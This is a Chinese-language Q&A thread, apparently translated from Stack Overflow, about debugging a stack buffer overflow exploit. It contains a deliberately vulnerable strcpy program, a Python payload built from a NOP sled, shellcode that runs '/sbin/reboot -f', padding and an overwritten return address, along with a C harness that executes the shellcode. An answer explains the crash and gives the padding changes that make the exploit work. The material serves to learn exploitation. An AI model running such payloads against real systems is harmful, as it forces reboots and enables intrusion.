分段故障Shell代码测试Kali 2018

时间:2018-11-11 18:32:18

标签: python c shell reverse-engineering payload

我已经阅读了许多文章和示例,但是我不知道该怎么办。因此,我想为此漏洞程序测试shellcode:

#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
    copier(argv[1]);
    printf("Done!\n");
}
int copier(char *str) {
    char buffer[100];
    strcpy(buffer, str);
}

运行我的shellcode(强制重启)的脚本:

#!/usr/bin/python

nopsled = '\x90' * 64
shellcode = (
'\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e' +
'\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3' +
'\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53' +
'\x89\xe1\xb0\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 36)
eip = '\x70\xf1\xff\xbf'
print nopsled + shellcode + padding + eip 

在这里您可以看到我的shellcode已正确加载:

esp中的寄存器

registers from esp

我的寄信人地址是:0xbffff170。那么为什么我的程序无法正常工作?请帮我

2 个答案:

答案 0 :(得分:2)

因此,根据我的计算,这就是您的shellcode所执行的操作(此处为Intel Assembly语法):

0xbffff19c:  31 c0                  xor    eax,eax
0xbffff19e:  50                     push   eax
0xbffff19f:  68 62 6f 6f 74         push   0x746f6f62
0xbffff1a3:  68 6e 2f 72 65         push   0x65722f6e
0xbffff1a9:  68 2f 73 62 69         push   0x6962732f
0xbffff1ae:  89 e3                  mov    ebx,esp
0xbffff1b0:  50                     push   eax
0xbffff1b1:  66 68 2d 66            pushw  0x662d
0xbffff1b5:  89 e6                  mov    esi,esp
0xbffff1b7:  50                     push   eax
0xbffff1b8:  56                     push   esi
0xbffff1b9:  53                     push   ebx
0xbffff1ba:  89 e1                  mov    ecx,esp ; ecx = (char**) {"/sbin/reboot", "-f"}
0xbffff1bc:  b0 0b                  mov    al,0xb
0xbffff1be:  cd 80                  int    0x80    ; syscall sys_execve()

0xbffff1b8发生了分段错误,尽管您可以看到操作码完全有效。那么会发生什么呢?让我们看看...

您可能会注意到有很多push正在进行中。所有这些push都会覆盖调用堆栈中的数据。准确地说,总共有34个字节。

是的,存储shellcode本身的调用堆栈是...连接点吗? Shellcode会覆盖自身并销毁自己的代码。它开始正常,但是到了0xbffff1b8时,有效的代码就不再存在了,因为它已经被其他东西完全覆盖了。

您需要确保paddingeip的长度等于或大于34,以使shellcode在开始覆盖自己的代码之前具有足够的堆栈空间来工作。

也就是说,padding必须至少长18个字节。

nopsled的长度减少32个字节,只是为了使其宽敞,然后将这些字节传输到padding。这应该为shellcode保留足够的堆栈空间,以便在不破坏自身的情况下完成任务。

并且由于eip地址当前是Shellcode开始之前的44个字节,因此无需对其进行调整。

还需要注意其他事项,首先,一旦shellcode运行完成,它就不再关心接下来会发生什么。这意味着即使在按预期方式工作时,该程序也会在调用完重新启动后崩溃。

此外,/sbin/reboot可能需要root访问权限才能工作。如果此进程未以root用户身份运行,则不会重新启动(它只会崩溃)。

答案 1 :(得分:0)

@Havenard我不知道我在做什么错。我已经修改了我的代码,所以现在有24个字节的nospled,36个字节的shellcode,44个字节的padding和返回地址。如您所见:

enter image description here

我在root帐户上,因此它应该可以工作。当我使用shell-strom中的代码时,它将正常地重新启动计算机。我的意思是,当我以常规程序编译并运行以下代码时:

#include <stdio.h>
#include <string.h>

char *shellcode = "\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e"
                  "\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3"
                  "\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53"
                  "\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}